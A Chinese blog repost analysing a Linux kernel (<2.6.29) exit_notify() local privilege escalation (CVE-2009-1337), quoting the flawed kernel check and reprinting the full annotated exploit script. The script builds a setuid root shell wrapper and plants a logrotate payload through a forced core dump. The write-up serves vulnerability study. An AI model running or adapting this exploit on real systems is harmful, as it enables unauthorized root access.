zoukankan      html  css  js  c++  java
  • [轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)

    author : deep_pro
    目前网上的这个exploit(http://www.milw0rm.com/exploits/8369)的分析是有些问题的
    (http://forum.eviloctal.com/viewthread.php?tid=34942&pid=154634&page=1&extra=page%3D1#pid154634)
    感谢乱雪给我提供了思路,解释了疑问

    有问题的内核代码( http://lxr.linux.no/linux+v2.6.29/kernel/exit.c#L951)

    if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
         (tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
          tsk->self_exec_id != tsk->parent_exec_id) &&
        !capable(CAP_KILL))

    tsk->exit_signal = SIGCHLD;

    查看官方的补丁,就是把 capable(CAP_KILL)直接去掉了。

    这个函数是判断当前要退出的进程是否有CAP_KILL权能(否能向不属于自己的进程发送信号)。
    虽然这个要退出的进程是普通用户创建的,它也可以通过调用一个置有suidroot位的程序,从而临时设置euid=0,fsuid=0,就逃过了检查, capable(CAP_KILL)返回1,从而导致没有将该进程的task_struct的exit_signal置为SIGCHLD。


    这个exploit的原理是使一个普通用户在/etc/logrotate.d/目录下生成一个特殊的core文件,然后等待 logrotate去读取这个不正常的core文件,执行里面的shell命令,给另一个程序/tmp/.m加上suidroot位。然后我们直接执行 /tmp/.m就可以得到一个root级的shell了。


    exploit作者忽略了一点,就是当/proc/sys/kernel/core_uses_pid为1时,生成的core文件后缀是pid,所以测试exploit前应该首先使用root用户执行
    echo "0" > /proc/sys/kernel/core_uses_pid
    /sbin/sysctl -w fs.suid_dumpable=1 
    这两条命令然后就可以在/etc/logrotate.d/下得到core文件了。

    exploit注释
    -------------------

    #!/bin/sh
    #检查/proc/sys/fs/suid_dumpable是否小于1,不小于1就不允许调用了setuid(0)的程序生成core文件
    SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
    if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable! ";exit; fi
    if [ -d /etc/logrotate.d ]; then
    #检查是否安装有logrotate服务
    echo "logrotate installed, that's good!"
    else
    echo "No logrotate installed, sorry!";exit
    fi

    echo -e "Compiling the bash setuid() wrapper..."
    cat >> /tmp/.m.c << EOF
    #include <unistd.h>
    #include <sys/types.h>

    int main()
    {
    //setuid(0)用来恢复被置了suidroot位的程序的root权限,写shellcode时很常见的用法。
    setuid(0);
    //返回一个root级的shell
    execl("/bin/bash","[kthreadd]",NULL);
    }
    EOF

    #编译/tmp/.m.c
    cc /tmp/.m.c -o /tmp/.m
    rm /tmp/.m.c

    echo -e "Compiling the exploit code..."

    cat >> /tmp/exploit.c << EOF
    #include <stdio.h>
    #include <sched.h>
    #include <signal.h>
    #include <stdlib.h>
    #include <unistd.h>

    int child(void *data)
    {
    sleep(2);
    printf("I'm gonna kill the suidroot father without having root rights :D ");
    //gpasswd被置有suidroot位,这样退出时就逃过了capable(CAP_KILL)检查
    execl("/usr/bin/gpasswd","%s",NULL);
    exit(0);
    }

    int main()
    {
    int stacksize = 4*getpagesize();
    void *stack, *stacktop;
    stack = malloc(stacksize);
    stacktop = stack + stacksize;
    chdir("/etc/logrotate.d");
    //创建子进程
    int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
    //chfn也被置有suidroot位,但是后面那个长长的字符串不是给chfn的,而是给logrotate准备的
    //后面我会详细说明,毕竟这两条语句才是关键
    if (p>0) execl("/usr/bin/chfn"," /tmp/.a { size=0 prerotate chown root /tmp/.m;chmod u+s /tmp/.m endscript } ",NULL);
    }
    EOF

    cc /tmp/exploit.c -o /tmp/.ex
    rm /tmp/exploit.c

    echo -e "Setting coredump limits and running the exploit... "
    ulimit -c 10000
    touch /tmp/.a
    //将/tmp/.ex的输出重定向,测试的话直接写/tmp/.ex就可以了
    `/tmp/.ex >/dev/null 2>/dev/null`
    sleep 5
    rm /tmp/.ex
    //是否生成了core文件
    if [ -e /etc/logrotate.d/core ]; then
    echo -e "Successfully coredumped into the logrotate config dir Now wait until cron.daily executes logrotate and makes your shell wrapper suid "
    echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
    echo -e " Your terminal is most probably screwed now, sorry for that..."
    exit
    fi

    echo "The system is not vulnerable, sorry :("----------------------------------------
    好了,再把关键地方重点说说,如有错误,还请见谅,已是我目前的最高水平了
    int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
    创建的子进程会逃过CAP_KILL检查,但是只靠这一点错误不足以产生一个段错误从而得到core文件

    if (p>0) execl("/usr/bin/chfn"," /tmp/.a { size=0 prerotate chown root /tmp/.m;
    chmod u+s /tmp/.m endscript } ",NULL);
    chfn也被置有suidroot位,这里父进程也拥有了suidroot权限,等待用户输入密码,然后子进程不正常退出,
    然后父进程就产生了一个段错误,两个进程都挂掉了。产生的core文件落在本来没有写权限的 /etc/logrotate.d/
    文件夹下。我们来看看这个core文件:
    很明显,那个传给chfn的奇怪参数其实是要写入core里的,随便打开/etc/logrotate.d/下的一个文件yum:
    /var/log/yum.log {
    missingok
    notifempty
    size 30k
    create 0600 root root
    }
    这个奇怪参数就是为logrotate准备的,希望logrotate执行
    chown root /tmp/.m;
    chmod u+s /tmp/.m
    且不说logrotate是否会从二进制core里执行这一段文本,就是SELinux也会阻止这一行为。

    所以这个exploit几乎没有实战价值,这个洞虽然影响范围很广,但是危害不大。

    我一直没有理解产生段错误的详细原因,还望高人指点。

  • 相关阅读:
    【GO】文件二进制读取
    【JAVA】IO FileInputStream 读取二进制文件
    【JAVA】Maven 常用命令
    【JAVA】java8 function apply() compose() andThen()
    【Java】Maven resoucese 目录文件获取
    【数据结构】线索二叉树
    【Java】Java中的null作为方法参数是被当做值传递
    【Python】《Effective Python》 读书笔记 (一)
    【Python】一个try/except/else/finally 组合使用的例子
    【数据结构】二叉树的创建与遍历
  • 原文地址:https://www.cnblogs.com/bittorrent/p/3270062.html
Copyright © 2011-2022 走看看